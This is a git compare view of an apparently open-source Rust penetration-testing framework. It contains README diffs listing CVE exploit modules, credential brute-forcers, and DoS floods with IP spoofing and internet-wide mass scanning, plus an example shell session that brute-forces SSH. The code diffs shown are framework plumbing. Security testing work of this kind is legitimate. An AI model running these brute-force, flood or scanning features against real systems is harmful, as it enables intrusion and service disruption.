Compare commits

..

97 Commits

Author SHA1 Message Date
S.B f19891e03b Fix version formatting in Cargo.toml 2026-02-13 02:57:21 +02:00
S.B 0d1afe605b Merge pull request #38 from s-b-repo/thekiaboys
Thekiaboys
2026-02-13 02:56:26 +02:00
S.B ab3c86c437 Add files via upload 2026-02-13 02:56:10 +02:00
S.B 7d3f1e8a51 Delete src/modules/creds directory 2026-02-13 02:55:18 +02:00
S.B 00cf535bac Update package version to v0.4.7 2026-02-13 02:38:23 +02:00
S.B 5fff3916e3 Update changelog-latest.md 2026-02-13 02:36:35 +02:00
S.B 7fa215aee0 Update Cargo.toml 2026-02-13 02:34:35 +02:00
S.B 6d69e14982 Update readme.md 2026-02-13 02:33:37 +02:00
S.B 120832102e Update readme with DoS testing enhancements and new exploits
Enhanced DoS testing features and added new exploit modules. Updated documentation for clarity on optimizations and exclusions.
2026-02-13 02:32:40 +02:00
S.B 7ce7f582ce Update README.md 2026-02-13 02:30:26 +02:00
S.B 99ce6d9e7f Add files via upload 2026-02-13 02:29:15 +02:00
S.B dc9f028495 Delete src/modules/scanners directory 2026-02-13 02:28:32 +02:00
S.B 699de58d4f Add files via upload 2026-02-13 02:27:25 +02:00
S.B 655542e36f Delete src/modules/exploits/empty.txt 2026-02-13 02:26:20 +02:00
S.B 4175c164b0 Delete src/modules/creds directory 2026-02-13 02:23:00 +02:00
S.B 1e657765bf Add files via upload 2026-02-13 02:20:46 +02:00
S.B 3cd9840314 Add files via upload 2026-02-13 02:18:38 +02:00
S.B c8d2d254a0 Add files via upload 2026-02-13 02:17:21 +02:00
S.B f7793bc6ed Create empty.txt 2026-02-13 02:16:31 +02:00
S.B c33650e604 Delete src/modules/exploits directory 2026-02-13 02:14:53 +02:00
S.B 4049849a53 Implement prompt_int function for integer input
Add a function to prompt for an integer input with validation.
2026-02-13 00:48:03 +02:00
S.B a1ca9c3e43 Remove is_configured method from totp_config
Removed the is_configured method from TOTP configuration.
2026-02-13 00:47:35 +02:00
S.B 4bdae0b07f Add placeholder for trusted_proxies in main.rs 2026-02-13 00:45:41 +02:00
S.B 4389cf9015 Update job_archive.rs 2026-02-13 00:44:11 +02:00
S.B f292e8c697 Implement ModuleConfig for API module configuration
Added ModuleConfig struct for API-driven execution with methods to manage configuration settings.
2026-02-13 00:43:39 +02:00
S.B 9616e3fea4 Add files via upload 2026-02-13 00:42:44 +02:00
S.B 30072e4ccb Delete src/modules/creds directory 2026-02-13 00:41:48 +02:00
S.B e45c346376 Enhance API with rate limiting and job management
Added new constants for job ID length, TOTP cleanup interval, API key rate limit, and rate limit window. Enhanced IP tracking and rate limiting features, including cleanup tasks and job management improvements.
2026-02-13 00:41:25 +02:00
S.B d139d64bda Refactor and optimize multiple modules for performance
Optimized null_syn_exhaustion and RTSP Bruteforce modules for performance and memory usage. Implemented new IPMI enumeration module with mass scan capabilities and fixed critical bugs in various modules.
2026-02-06 17:02:20 +02:00
S.B 849a724f0c Refactor interactive shell command input handling 2026-02-06 17:00:50 +02:00
S.B 3db864668c Scope RNG usage for probe ID and jitter duration 2026-02-06 16:59:03 +02:00
S.B e04c08e8d5 Refactor stdin reading for command input 2026-02-06 16:58:22 +02:00
S.B 8a035a2f5b Enhance RDP error handling and password processing
Refactor RDP error classification and improve password processing logic for better performance and memory management.
2026-02-06 15:31:34 +02:00
S.B 1afe9f5184 Refactor RTSP bruteforce logic and improve error handling
Refactor RTSP bruteforce logic for better clarity and error handling. Improve concurrency control and normalize target extraction.
2026-02-06 15:03:39 +02:00
S.B 4c954a7f9f Add files via upload 2026-02-06 14:57:29 +02:00
S.B 6a15adb0d2 Refactor packet building and improve IP spoofing
Refactor packet building to ensure random source IP is used for each packet. Update comments and improve socket creation for IP spoofing.
2026-02-06 14:55:46 +02:00
S.B 956e2d23a2 Update mod.rs 2026-02-06 14:55:08 +02:00
S.B c774a4358a Add files via upload 2026-02-06 14:51:32 +02:00
S.B a120f536b6 Update mod.rs 2026-02-06 14:51:00 +02:00
S.B 018f6234bb Enhance API scanner with timeout and error handling
Added configurable timeout for HTTP requests and improved error handling for stdout flushing and file operations. Enhanced endpoint sorting and deduplication logic.
2026-02-06 12:32:12 +02:00
S.B 22f4bcf2eb Add random color display for module listing
Added a helper function to get a random color for module display and updated the module listing to use this function.
2026-02-06 12:30:47 +02:00
S.B 384b09a6af Add subtle crate for timing attack prevention
Added subtle crate for constant-time comparison.
2026-02-04 14:50:20 +02:00
S.B 1b50556331 Update readme with new features and enhancements 2026-02-04 14:49:54 +02:00
S.B 62dbc9e2ec Update changelog-latest.md 2026-02-04 14:48:50 +02:00
S.B 40180206fa Add files via upload 2026-02-04 14:45:49 +02:00
S.B 9aee2764dd Add files via upload 2026-02-04 14:43:36 +02:00
S.B f21264f99c Add files via upload 2026-02-04 14:41:44 +02:00
S.B 7d875ede8e Create t.txt 2026-02-04 14:40:38 +02:00
S.B c214fc0bfb Delete src/modules/t.txt 2026-02-04 14:39:15 +02:00
S.B a96746297c Add files via upload 2026-02-04 14:38:27 +02:00
S.B 96ac4d9a1a Add files via upload 2026-02-04 14:37:44 +02:00
S.B 1a282ee99b Create t.txt 2026-02-04 14:37:08 +02:00
S.B e7fc49d128 Delete src/t.txt 2026-02-04 14:36:09 +02:00
S.B 4804dcc860 Add files via upload 2026-02-04 14:35:39 +02:00
S.B f1f1cf9855 Add files via upload 2026-02-04 14:32:22 +02:00
S.B d250d23f3c Create t.txt 2026-02-04 14:31:12 +02:00
S.B 2ee136e26d Delete src directory 2026-02-04 14:30:52 +02:00
S.B 6110190d8c Add files via upload 2026-02-03 16:12:32 +02:00
S.B 7fa6643c75 Delete src/mod.rs 2026-02-03 16:12:15 +02:00
S.B 8c9105166f Create mod.rs 2026-02-03 16:04:27 +02:00
S.B 5775fbc016 Update changelog-latest.md 2026-02-03 15:26:12 +02:00
S.B b5e5ac088a Update dependencies in Cargo.toml
Added multipart and form features to reqwest and included new dependencies for TOTP authentication and tar archive format.
2026-02-03 15:25:26 +02:00
S.B 85bc679a5b Delete src/s.txt 2026-02-03 15:20:58 +02:00
S.B 8f83e1013b Delete src/modules/te.txt 2026-02-03 15:20:41 +02:00
S.B 9ef5ec403f Delete src/modules/exploits/t.txt 2026-02-03 15:20:29 +02:00
S.B 324d87b575 Add files via upload 2026-02-03 15:19:41 +02:00
S.B a7a61b59db Add files via upload 2026-02-03 15:17:43 +02:00
S.B 9efdcf274d Create t.txt 2026-02-03 15:15:25 +02:00
S.B 0feab02c60 Add files via upload 2026-02-03 15:14:34 +02:00
S.B 0a892be55a Add files via upload 2026-02-03 15:13:43 +02:00
S.B 73f9c8f9a3 Add files via upload 2026-02-03 15:12:48 +02:00
S.B b8b776f12a Add files via upload 2026-02-03 15:12:28 +02:00
S.B 5d156686c6 Create s.txt 2026-02-03 15:11:15 +02:00
S.B 630f123fe0 Delete src directory 2026-02-03 15:10:43 +02:00
S.B aaa02ee3fe Add files via upload 2026-01-28 09:17:35 +02:00
S.B d746c0fa69 Delete src/modules/creds directory 2026-01-28 09:16:52 +02:00
S.B 1f66601843 Update README.md 2026-01-28 08:49:08 +02:00
S.B 386b19a17f Merge pull request #37 from s-b-repo/thekiaboys
Thekiaboys
2026-01-28 08:36:47 +02:00
S.B 9220bdceb5 Update utils.rs 2026-01-28 08:25:10 +02:00
S.B 9431916b8b Update changelog-latest.md 2026-01-28 07:46:46 +02:00
S.B 5f168a79a3 Add files via upload 2026-01-28 07:46:22 +02:00
S.B 63200f3d5e Add files via upload 2026-01-28 07:45:50 +02:00
S.B 978f27e368 Update mod.rs 2026-01-28 07:44:30 +02:00
S.B 40ea4a3a74 Create mongobleed.rs 2026-01-28 07:44:00 +02:00
S.B 90b83e4c29 Add files via upload 2026-01-28 07:42:49 +02:00
S.B e58535d067 Add files via upload 2026-01-28 07:40:59 +02:00
S.B d3596cf9c1 Add files via upload 2026-01-28 07:40:02 +02:00
S.B c1963bd947 Delete src/modules/exploits directory 2026-01-28 07:39:21 +02:00
S.B 5ca83ef795 Add files via upload 2026-01-28 07:38:24 +02:00
S.B c1202e98e9 Delete src/modules/creds/generic directory 2026-01-28 07:37:29 +02:00
S.B 1957eee693 Update api.rs 2026-01-28 07:36:20 +02:00
S.B dc2763d2c4 Update main.rs 2026-01-28 07:35:50 +02:00
S.B 8f2e4adc2d Update config.rs 2026-01-28 07:35:28 +02:00
S.B 1c934adc33 Update utils.rs 2026-01-28 07:35:09 +02:00
S.B f37f5fa8f5 Update shell.rs 2026-01-28 07:34:47 +02:00
S.B a508bcb7dd Merge pull request #36 from s-b-repo/snowball
Snowball
2026-01-28 07:33:50 +02:00
S.B 260b919fba Update shell.rs 2026-01-26 20:35:54 +02:00
183 changed files with 25120 additions and 4345 deletions
+15 -2
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.5.0"
version = "0.4.7"
edition = "2024"
build = "build.rs"
@@ -21,7 +21,7 @@ clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.49", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.13", features = ["json", "cookies", "socks"] }
reqwest = { version = "0.13", features = ["json", "cookies", "socks", "multipart", "form"] }
h2 = "0.4"
http = "1.4"
bytes = "1.11"
@@ -70,6 +70,9 @@ libc = "0.2"
# Bluetooth
btleplug = "0.11"
# TUI (WPair module)
ratatui = "0.29"
crossterm = "0.28"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
@@ -107,6 +110,16 @@ des = { version = "0.8.1", features = ["zeroize"] }
strsim = "0.11"
byteorder = "1.5.0"
ssh2 = "0.9.5"
num_cpus = "1.17.0"
# TOTP Authentication
totp-rs = { version = "5.6", features = ["gen_secret", "otpauth", "qr"] }
# Archive format for job output storage
tar = "0.4"
# Constant-time comparison for security (timing attack prevention)
subtle = "2.6"
[build-dependencies]
regex = "1.12"
+10 -6
View File
@@ -47,6 +47,8 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
- **IP exclusion ranges (EXCLUDED_RANGES):** Camxploit, Telnet bruteforce, and exploit modules now skip bogon, private, reserved, documentation, and public DNS IPs during mass scans
- **DoS / Stress testing suite:** Connection Exhaustion Flood (semaphore-bounded FDs), Null SYN Exhaustion (>1M PPS, IP spoofing), TCP Connection Flood (connect & drop, infinite mode)
---
@@ -59,8 +61,8 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
- **Improved CLI Experience** - Added `--list-modules` to browse tools without entering the shell, and `--verbose` for detailed operation logs. Fuzzy matching now suggests corrections for typos (e.g., `sample_xploit` -> `sample_exploit`).
- **Colored CLI output** - Warnings in yellow, hints in cyan, success in green
**📚 Documentation:**
- Updated developer guide with v0.5.0 changes
** Documentation:**
- Updated developer guide with v0.4.6 changes
- Added CLI error handling examples
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
@@ -68,6 +70,8 @@ Rustsploit ships categorized modules under `src/modules/`, automatically exposed
| Category | Highlights |
|----------|------------|
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
| `creds/camxploit` | **Camxploit camera scanner** with masscan-style parallel scanning, EXCLUDED_RANGES (bogons/private/reserved/DNS), port-based service filtering (ignores SSH/Telnet/RDP-only hosts), output file support |
| `exploits/dos` | **Connection Exhaustion Flood** (FD-bounded semaphore, connect & drop), **Null SYN Exhaustion** (raw packet, IP spoofing, XorShift128+ RNG, >1M PPS), **TCP Connection Flood** (pre-resolved DNS, high-concurrency handshake stress) |
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
| `payloadgens` | `narutto_dropper`, BAT payload generator |
@@ -291,7 +295,7 @@ exit exit | quit | q Leave shell
Example session:
```text
```
rsf> f1 ssh
rsf> u creds/generic/ssh_bruteforce
rsf> set target 10.10.10.10
@@ -302,7 +306,7 @@ rsf> go
Execute multiple commands in a single line using the `&` separator:
```text
```
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
```
@@ -332,7 +336,7 @@ cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
- `--verbose (-v)`: Enable detailed logging (useful for debugging).
- `--output-format <text|json>`: Control output format (default: text).
```bash
```
# List all modules
cargo run -- --list-modules
@@ -441,7 +445,7 @@ Authorization: ApiKey your-api-key-here
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
```
### telnet config example
### telnet config
```
{
"port": 23,
File diff suppressed because it is too large Load Diff
+42 -1
View File
@@ -59,7 +59,7 @@ rustsploit/
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
│ └── utils.rs # Shared helpers (module lookup, validation)
├── docs/
│ └── readme.md # This document
├── lists/
@@ -231,6 +231,8 @@ The API server (`api.rs`) implements:
- **Rate Limiting:** 3 failed auth attempts = 30 second block
- **Auto-cleanup:** Old entries purged when limits exceeded
- **IP Tracking:** With automatic rotation when suspicious activity detected
- **Secure Defaults:** API binds to `127.0.0.1` by default to prevent accidental exposure
- **2FA/TOTP:** Optional Time-based One-Time Password enforcement (`--harden-totp`) with interactive setup wizard (`--setup-totp`)
### File Operations
@@ -375,6 +377,45 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
- Base-N counting algorithm for exhaustive iteration without memory overhead
- Modular `charset` selection (SQL, Traversal, Command Injection)
- **API Endpoint Scanner**:
- Full-featured vulnerability scanner supporting SQLi, NoSQLi, Command Injection, and Path Traversal
- Extended HTTP method support (CONNECT, TRACE, DEBUG, PUT, DELETE, etc.)
- ID Enumeration module for finding resource leaks
- Endpoint discovery via wordlist enumeration
- Concurrent scanning with results filed by endpoint
- **DoS / Stress Testing Optimizations**:
- **Null SYN Exhaustion**: Rewritten for high-performance using native OS threads, zero-allocation loops, and custom thread-local XorShift128+ RNG. Capable of >1M PPS. IP spoofing with per-packet random source IPs.
- **TCP Connection Flood**: Optimized with DNS pre-resolution, counter-based error sampling, infinite mode support (`duration=0`), and efficient address sharing to maximize connection rate.
- **Connection Exhaustion Flood**: FD-bounded semaphore design caps local file descriptors while exhausting the target's connection table/TIME_WAIT slots. Supports infinite mode with graceful Ctrl+C shutdown.
- **Camxploit Mass Scan Enhancements**:
- Masscan-style parallel port scanning with semaphore-based concurrency (default 200 threads)
- EXCLUDED_RANGES: 16 CIDR ranges excluded (bogons, private, reserved, documentation, public DNS)
- Service filtering: Hosts with only SSH/Telnet/RDP ports are skipped automatically
- Time-based progress reporting and output file for discovered cameras
- **IP Exclusion Ranges (EXCLUDED_RANGES pattern)**:
- Standardized across `camxploit`, `telnet_bruteforce`, and exploit modules
- Uses `ipnetwork` crate for proper CIDR matching
- Covers: 10.0.0.0/8, 127.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 224.0.0.0/4, 240.0.0.0/4, 0.0.0.0/8, 100.64.0.0/10, 169.254.0.0/16, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 255.255.255.255/32, plus public DNS (1.1.1.1, 8.8.8.8, etc.)
- **New Exploit Modules**:
- **SharePoint**: CVE-2024-38094 (Deserialization RCE)
- **MongoBleed**: CVE-2025-14847 (Memory Disclosure) with mass-scan and deep-scan modes
- **TP-Link VIGI**: CVE-2026-1457 (Authenticated RCE)
- **Telnet**: CVE-2026-24061 (Auth Bypass)
- **Windows DWM**: CVE-2026-20805 (Info Disclosure)
- **Geth (Go-Ethereum)**: CVE-2026-22862 (DoS via Ecies Panic)
- **Termix**: CVE-2026-22804 (Stored XSS)
- **FortiCloud SSO**: CVE-2026-24858 (Auth Bypass)
- **Ruijie Series**: 7 new modules covering RCE, Auth Bypass, and SSRF
- **Framework Core Enhancements**:
- **Mass Scan Standardization**: All mass-scan capable modules now accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets and offer consistent private range exclusion prompts.
- **Stability**: Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths for crash-free operation.
- **Architecture**: Fixed design flaws in API worker threading (moved to `spawn_blocking`) and consolidated validation logic.
---
## Exploit Modules: Best Practices
+754 -174
View File
File diff suppressed because it is too large Load Diff
+22 -5
View File
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command", "api"])
.args(&["command", "api", "setup_totp"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
@@ -28,16 +28,28 @@ pub struct Cli {
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
/// Enable all hardening features (TOTP + rate limit + IP tracking)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
/// Enable TOTP authentication for API (requires --api)
#[arg(long, requires = "api")]
pub harden_totp: bool,
/// Enable rate limiting for API (requires --api)
#[arg(long, requires = "api")]
pub harden_rate_limit: bool,
/// Enable IP tracking for API (requires --api)
#[arg(long, requires = "api")]
pub harden_ip_tracking: bool,
/// Network interface to bind API server to (default: 127.0.0.1 for security)
#[arg(long, requires = "api", default_value = "127.0.0.1")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
#[arg(long, default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
@@ -63,4 +75,9 @@ pub struct Cli {
/// Number of worker threads for API jobs (default: 10)
#[arg(long, default_value_t = 10)]
pub workers: usize,
/// Set up TOTP authentication (interactive wizard)
#[arg(long)]
pub setup_totp: bool,
}
+1 -43
View File
@@ -1,50 +1,8 @@
// Include generated dispatch code in a submodule to avoid name collisions if any
// But `include!` effectively pastes code.
// The error says `AVAILABLE_MODULES` is defined multiple times.
// Ah, `exploit.rs` likely includes `scanner_dispatch.rs` inadvertently?
// No, look at error:
// `scanner_dispatch.rs:4:1` defined `AVAILABLE_MODULES`
// `exploit_dispatch.rs:4:1` defined `AVAILABLE_MODULES`
// And `src/commands/mod.rs` likely imports both via `mod exploit` and `mod scanner`?
// No, they are separate modules `exploit.rs` and `scanner.rs`.
//
// Wait, `exploit.rs` has: include!(... exploit_dispatch.rs)
// `scanner.rs` has: include!(... scanner_dispatch.rs)
// They are in separate files `src/commands/exploit.rs` and `src/commands/scanner.rs`.
// They should be separate namespaces.
//
// Error: `error[E0428]: the name AVAILABLE_MODULES is defined multiple times`
// Location: `scanner_dispatch.rs` defined, previous `exploit_dispatch.rs`.
// THIS SUGGESTS `scanner.rs` includes BOTH?
// OR `exploit.rs` includes BOTH?
//
// Let's check `exploit.rs` content again.
// I see I messed up `exploit.rs` in previous step?
// I see:
// ```rust
// use anyhow::Result;
//
// // Include generated dispatch code
// include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
//
// // Re-export run function as `run_exploit` to match previous API usage if needed,
// // or cluse anyhow::Result;
//
// include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
//
// pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
// dispatch(module_name, target).await
// }
// ```
// OMG, I pasted `scanner` content INTO `exploit.rs` by accident during the `multi_replace` failure recovery!
// `exploit.rs` has garbage content combining exploit and scanner.
// I need to reset `exploit.rs`.
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
// Re-export run function as `run_exploit` to match previous API usage in mod.rs
/// Re-export run function as `run_exploit` to match previous API usage in mod.rs
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
+12 -3
View File
@@ -17,7 +17,10 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
} else if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
println!("[*] Using global target: {}", match config::GLOBAL_CONFIG.get_target() {
Some(t) => t,
None => String::new(),
});
ip
}
Err(e) => return Err(anyhow::anyhow!("No target specified and global target error: {}", e)),
@@ -29,7 +32,10 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let target = normalize_target(&raw)?;
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
let module = cli_args.module.clone().unwrap_or_default();
let module = match cli_args.module.clone() {
Some(m) => m,
None => String::new(),
};
match command {
"exploit" => {
@@ -96,7 +102,10 @@ pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> R
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
println!("[*] Using global target: {}", match config::GLOBAL_CONFIG.get_target() {
Some(t) => t,
None => String::new(),
});
ip
}
Err(e) => return Err(anyhow::anyhow!("Global target error: {}", e)),
+79 -57
View File
@@ -61,6 +61,8 @@ impl GlobalConfig {
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
@@ -142,63 +144,6 @@ impl GlobalConfig {
}
}
/// Get all IP addresses from the global target
/// Returns a vector of IP addresses (expands subnets)
/// For very large subnets (> 65536 IPs), returns an error
pub fn get_target_ips(&self) -> Result<Vec<String>> {
let guard = self.target.read().map_err(|_| anyhow!("Config lock poisoned"))?;
match guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
// For single IP/hostname, return as-is
Ok(vec![ip.clone()])
}
Some(TargetConfig::Subnet(net)) => {
// Check subnet size to prevent memory issues
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
// For very large IPv6 subnets, cap at u64::MAX
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
if size > MAX_SUBNET_SIZE {
return Err(anyhow!(
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
size, MAX_SUBNET_SIZE
));
}
// Expand subnet to individual IPs
let mut ips = Vec::new();
for ip in net.iter() {
ips.push(ip.to_string());
}
Ok(ips)
}
None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
@@ -210,6 +155,15 @@ impl GlobalConfig {
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)))).unwrap_or(false)
}
/// Get the target subnet if set
pub fn get_target_subnet(&self) -> Option<IpNetwork> {
let guard = self.target.read().ok()?;
match guard.as_ref() {
Some(TargetConfig::Subnet(net)) => Some(*net),
_ => None,
}
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
@@ -261,3 +215,71 @@ use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
/// Module-level configuration for API-driven execution
/// This is set by the API before running a module and read by modules
/// to get pre-configured values instead of prompting the user
#[derive(Clone, Debug, Default)]
pub struct ModuleConfig {
pub port: Option<u16>,
pub username_wordlist: Option<String>,
pub password_wordlist: Option<String>,
pub path_wordlist: Option<String>,
pub concurrency: Option<usize>,
pub stop_on_success: Option<bool>,
pub save_results: Option<bool>,
pub output_file: Option<String>,
pub verbose: Option<bool>,
pub combo_mode: Option<bool>,
}
impl ModuleConfig {
pub fn new() -> Self {
Self::default()
}
/// Check if running in API mode (any config option is set)
pub fn is_api_mode(&self) -> bool {
self.port.is_some() ||
self.username_wordlist.is_some() ||
self.password_wordlist.is_some() ||
self.path_wordlist.is_some() ||
self.concurrency.is_some() ||
self.stop_on_success.is_some() ||
self.save_results.is_some() ||
self.output_file.is_some() ||
self.verbose.is_some() ||
self.combo_mode.is_some()
}
/// Clear all settings
pub fn clear(&mut self) {
*self = Self::default();
}
}
/// Global module config instance (API-provided configuration)
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
Arc::new(RwLock::new(ModuleConfig::new()))
});
/// Set module config from API request
pub fn set_module_config(config: ModuleConfig) {
if let Ok(mut guard) = MODULE_CONFIG.write() {
*guard = config;
}
}
/// Get a clone of the current module config
pub fn get_module_config() -> ModuleConfig {
MODULE_CONFIG.read()
.map(|g| g.clone())
.unwrap_or_default()
}
/// Clear module config (should be called after module execution)
pub fn clear_module_config() {
if let Ok(mut guard) = MODULE_CONFIG.write() {
guard.clear();
}
}
+352
View File
@@ -0,0 +1,352 @@
// src/job_archive.rs
//
// Immutable job output archival system
// - In-memory circular buffer for recent jobs
// - Automatic archival to compressed tar.gz files
// - SHA256 checksums for integrity
use anyhow::{anyhow, Context, Result};
use chrono::{DateTime, Utc};
use flate2::write::GzEncoder;
use flate2::Compression;
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
use std::collections::VecDeque;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::PathBuf;
use std::sync::Arc;
use tokio::sync::RwLock;
/// Maximum output size per job (1MB) - reduced from 10MB for DoS protection
pub const MAX_OUTPUT_SIZE: usize = 1 * 1024 * 1024;
/// Maximum jobs in memory before archiving - reduced from 100 for DoS protection
const MAX_MEMORY_JOBS: usize = 20;
/// Maximum total archive size (1GB) before cleanup
const MAX_ARCHIVE_SIZE_BYTES: u64 = 1024 * 1024 * 1024;
/// A single job result
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct JobResult {
/// Unique job identifier
pub id: String,
/// Module that was executed
pub module: String,
/// Target that was scanned/exploited
pub target: String,
/// Captured output (stdout + stderr)
pub output: String,
/// Whether output was truncated
pub truncated: bool,
/// Job status
pub status: JobStatus,
/// When the job started
pub started_at: DateTime<Utc>,
/// When the job completed
pub completed_at: Option<DateTime<Utc>>,
/// Duration in milliseconds
pub duration_ms: Option<u64>,
}
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
pub enum JobStatus {
Running,
Completed,
Failed,
Timeout,
}
/// Thread-safe job storage with automatic archival
#[derive(Clone, Debug)] // Added Debug here
pub struct JobArchive {
/// In-memory job storage
jobs: Arc<RwLock<VecDeque<JobResult>>>,
/// Archive directory
archive_dir: PathBuf,
}
impl JobArchive {
/// Create a new job archive
pub fn new() -> Result<Self> {
let home = home::home_dir()
.ok_or_else(|| anyhow!("Cannot determine home directory"))?;
let archive_dir = home.join(".rustsploit").join("archives");
// Create archive directory if it doesn't exist
if !archive_dir.exists() {
fs::create_dir_all(&archive_dir)
.context("Failed to create archive directory")?;
}
Ok(Self {
jobs: Arc::new(RwLock::new(VecDeque::with_capacity(MAX_MEMORY_JOBS + 10))),
archive_dir,
})
}
/// Add a new job result
pub async fn add_job(&self, job: JobResult) -> Result<()> {
let mut jobs = self.jobs.write().await;
// Check if we need to archive before adding
if jobs.len() >= MAX_MEMORY_JOBS {
// Archive oldest jobs
let to_archive: Vec<JobResult> = jobs.drain(..MAX_MEMORY_JOBS / 2).collect();
drop(jobs); // Release lock before archiving
self.archive_jobs(to_archive).await?;
// Re-acquire lock
let mut jobs = self.jobs.write().await;
jobs.push_back(job);
} else {
jobs.push_back(job);
}
Ok(())
}
/// Get a job by ID
pub async fn get_job(&self, id: &str) -> Option<JobResult> {
let jobs = self.jobs.read().await;
jobs.iter().find(|j| j.id == id).cloned()
}
/// Update a job's status and output
